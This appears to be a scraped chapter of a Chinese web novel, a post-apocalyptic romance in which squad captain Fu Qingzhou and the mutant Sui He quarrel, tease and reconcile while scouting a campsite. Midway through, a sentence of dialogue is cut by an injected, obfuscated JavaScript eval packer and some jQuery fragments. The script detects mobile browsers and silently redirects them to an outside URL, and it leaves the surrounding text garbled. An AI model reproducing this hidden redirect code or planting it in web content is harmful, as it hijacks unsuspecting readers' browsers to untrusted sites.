“你厉害!你被队长丢出来!”梵溯梗着脖子怼他。
岁禾也不甘示弱,“你怂!你连说他坏话都不敢!”
“你、你……”梵溯你了半天,硬是憋不出一句话来,好像队长还挺宠旁边这位小兄弟的,他除了目睹了刚刚岁禾被丢出来的那一幕,好像确实没见过其他的了。
岁禾哼哼两声,“你不服那你跟我打架,让你知道什么叫把你打哭。”
他小小地生着气,似乎是在气刚刚梵溯笑话他,脸颊鼓起来瞪人,可爱得不行。
梵溯看了一下,没忍住伸手去掐他的脸,然后调笑道:“就你这小身板跟我打?还不如回去多练练呢,队长会让着你,我可不会。”
“你别掐我!”岁禾抬手拍了一下他的手,但依旧没能拯救回自己的脸颊。
虽然梵溯掐得不算重,甚至对岁禾来说没什么感觉,但岁禾有点不习惯和傅清洲之外的人近距离接触。
这时身后的帐篷帘子被掀开,二人同时抬头望向那边,就对上了傅清洲冷漠的视线。
梵溯一下子就松手了。
而岁禾没反应过来,手下意识搭在了梵溯的手腕上。
傅清洲只是看了一眼,就扭头离开了。岁禾也回过神来,连忙松手跟上去,也不顾身后梵溯喊他的名字了。
“粥粥。”
他走一脚,岁禾就跟一脚,也不知道傅清洲要去哪里,反正他跟着就对了。
傅清洲走了一段距离,确认双生子看不到之后,扭头看向身后的小尾巴,低声道:“跟着我做什么?你不去找他们玩?”
“他们没有你好玩。”
傅清洲:“……”
但好在,他原本有点复杂的心情因为岁禾这句话瞬间就轻松了许多。刚出来的时候,看见那二人亲密到掐脸颊的动作,傅清洲也不知道为什么心里有一种说不出来的滋味。
和之前那些莫名其妙的情绪一样,根本不像是他自己能控制的。活了二十多年的傅队长,满脑子不是杀异种就是杀异种,生平有了另外的想法。
那就是他不太想看岁禾和其他人亲近。
“有些话不要乱说。”傅清洲又收回视线,重新继续往前走。
岁禾又立马跟上去,“什么话不能说?你也没有教过我呀,库里尔也没有教过我。”
“我们现在要去哪里啊?”
傅清洲抬手揉了揉眉心,“你比梵溯还要吵。”
岁禾撇了撇嘴,很不开心地为自己辩解,“明明是他比我还要吵,你不要老是这样说我,我会生气的。”
“生气?”傅清洲笑了一下,“你的小发雷霆有用么?最后是谁要委屈得回来找我?”
这人真讨厌!
岁禾抿着唇不说话了。
反正不管,岁禾就是要跟着他,像是个狗皮膏药一样赶都赶不走的。
况且也不知道这个人每天都那么多的精力,怎么一到打架的时候就不一样了,反而打两下就躺地上睡过去了,恢复能量也慢得不行,不睡够一两天完全就没有精神气。
“现在这么闲,过两天别又睡两天不起,很耽误赶路。”
岁禾不知道何时走到他身边和他肩并肩走着,听着这句话的时候抬头看向傅清洲,发现那人也在看着他,而眼里是很淡漠的情绪,岁禾有点捉摸不透。
至于为什么会琢磨不透,是因为岁禾第一次看不懂傅清洲的情绪,按理说他大概能读懂傅清洲的情绪,因为他身上有属于自己的东西。
但这次不一样,看不透。
“我不会拖你们后退的。”岁禾有些闷闷地开口,他确实自己也不想这样,可每次战斗之后的恢复能量的办法,他也不知道要怎么办。
总不能看着同伴出生入死而自己在一边什么都不干吧。
那不是岁禾的风格,特别是在经历了库里尔的那件事情之后,岁禾更不可能让这种事情发生。
宁愿自己赴死,也不会让别人为自己而死。
傅清洲也没有接话,只是默默抬手摸向他的额头,他身上的陌生能量应该已经被岁禾炼化成自己的能量了,所以身上的高热已经在慢慢退去了。
但还是有些发烧,大概需要调整一下,不过看岁禾这么精神的样子,应该也没什么英影响,傅清洲也只是大概注意一下他的身体问题就足够了。
他没有太多的精力去照顾一个什么都不会的人,作为安全基地第一小队的队长,如果他没死也没有变成异变种,那他本就应该早早回去,接各种各样的任务,然后消灭异变种。
给研究院带去新的研究物体。
这才是他的真正任务。
至于其他的,梵烬两位双生子,大概也能担任队长一职,只是需要锻炼一下心理。
而岁禾,真正的目的就是把他送回研究院,交给张博士和安博士进行研究。
其他的便没有什么大问题了。
可岁禾身上的很多密码都需要等着去揭穿。忘却的那些事情,以及自主吸收能量自己却不知情的事情。
太多太多秘密了。
如果库里尔还在就好了。
高强度的精神异能,库里尔无疑是整个安全基地最强的队长。只是实在可惜,他已经不在了,听傅清洲的父亲说起过,库里尔本该退休了,只是可惜那次的任务之后再也没有回来。
傅清洲也没想到会在这里能遇到库里尔的尸体,并且得到了他最后的托付——岁禾。
“最好是吧。”傅清洲点了点他的额头,“现在还有哪里难受?”
岁禾摇头,又眨着亮晶晶的双眼看向傅清洲,“粥粥,你是在关心我吗?你现在已经开始关心我了吗?”
“没有。”傅清洲立马就收回手了。
他怎么就忘记了这是个特别会得寸进尺的人呢?
“你就有!”岁禾偏偏不给他安生,扯着他的手臂摇晃着和他一起前进。
“没有。”傅清洲的声线冷了一些,对待岁禾这种爱得寸进尺的人最后都只能是冷脸。
然后打消他的士气。
岁禾一开始还不知道梵溯说的那句“闷骚”是什么意思,但现在他忽然就明白了,就比如傅清洲这样关心他还不承认的人就是闷骚。
他好像又学会了一个新词。
见傅清洲一直没理他,岁禾脑子灵机一动,也不知道上哪学的招数,反正开始就对了。
“哎呀,好难受。”岁禾扶着一旁的树干,瞥着眼前走了一大截路的傅清洲。
在听见声音之后,傅清洲停顿了一下,犹豫着要不要回头,结果又听见了岁禾喘息的声音,一着急就扭头去看他。
结果就对上了岁禾坏坏的笑容和笑得眯起来的双眼。
傅清洲又气又无奈。
他大步走上去,把岁禾拽到自己身边,嘴角抿着不易察觉的笑,但嘴上还是凶巴巴的,“谁教你的?”
“没有人教我。”岁禾眨了眨眼望着他,“粥粥你先松开我,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775870|174721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你力气太大了!”
傅清洲松了一点力气,“确定不是梵溯教你的?下次不要跟他走这么近。”
“为什么?”岁禾看着他,“那我就要。你越是不让我做的事情,那肯定就是有鬼,那我就要去做。”
没想到岁禾还是个叛逆的小异种,傅清洲眉头挑了一下,沉思了一会儿之后开口:“可以啊,你到时候跟他学到什么坏东西的时候,你可以试试什么叫给你屁股打开花了。”
岁禾撇撇嘴,下意识把手伸过去捂着自己的屁股,“你比库里尔还凶!库里尔明明那么温柔。”
明明库里尔已经逝去很久了,但为什么从岁禾嘴里听见夸人的意思,傅清洲心里就是很不舒服呢?
他和岁禾对视了一下,最后又松开他大步往前走。
“你等等我!”岁禾连忙跟上去,“你为什么不等我?又自己偷偷生气,我都没有做什么!”
“谁跟你生气?”傅清洲淡淡地开口,他就是觉得莫名的有点不舒服而已,虽然不知道这种情绪为什么会出现在自己身上。
因为刚刚看见岁禾和梵溯有亲密接触的时候,他也是有这种奇怪的情绪。
总觉得不能让岁禾多跟他们混在一起。
“你就是在生气!”岁禾每次一跟上他的时候,傅清洲就会加快脚步把他甩在身后。
这次生气的人也开始转换过来了,岁禾气呼呼地,也不想跟他在周围巡视了,自己一个人靠在树干上偷偷生闷气。
什么人啊,跟遛狗似的。
傅清洲走了几步发现身后的小尾巴没跟上来,于是停顿了一下回头去看,发现岁禾已经靠在树干上叉着腰。
不知道在想什么。
他犹豫了一下,回头去看他。
岁禾被突然出现的人吓了一跳,“你走路没有声音的啊?吓死我了,我以后都不理你了。”
傅清洲不说话,安静地看着他。而岁禾也不甘示弱地瞪了他一眼。
“走了。”傅清洲还是斗不过他,出声道。
“我才不走,跟遛狗似的,我不理你了,你自己回去。”
傅清洲深吸一口气,“我错了,跟我回去吧。”
岁禾这才喜笑颜开,黏糊糊地挽上傅清洲的手臂,道:“这才对嘛,走吧,我们回去。”
“嗯。”傅清洲这次也没跟他继续闹下去了。
在周围绕了一圈,没什么大问题,确定可以在这里休整之后就回去了。
但警惕还是不可避免的。
“粥粥,你背我呗,我走累了。”岁禾站在原地晃了晃傅清洲的手臂,可怜巴巴地望着他。
傅清洲扭头和他对视。
“好不好?我好难受啊……你要多照顾我这个虚弱的人,库里尔也是这么照顾我的。”
傅清洲在他面前弯下腰,黑着一张脸开口:“上来,快点。”
岁禾喜滋滋地搂着他的脖子趴上他的背,只是还没等自己开心够呢,就听见了傅清洲不太好的语气。
“库里尔也是这么背着你的?”
岁禾摇头,“才没有!我一般不会给他添麻烦。”
“那你倒是会给我添麻烦。”傅清洲冷笑一声,单手拖住他的膝盖弯,另一只伸到后面去拍了拍他的屁股,“你可真会得寸进尺。”
岁禾“嘿嘿”一笑,“因为粥粥跟库里尔不一样啊。”
傅清洲听完这句话之后心里好受多了,就连原本郁闷的心情都消散了不少。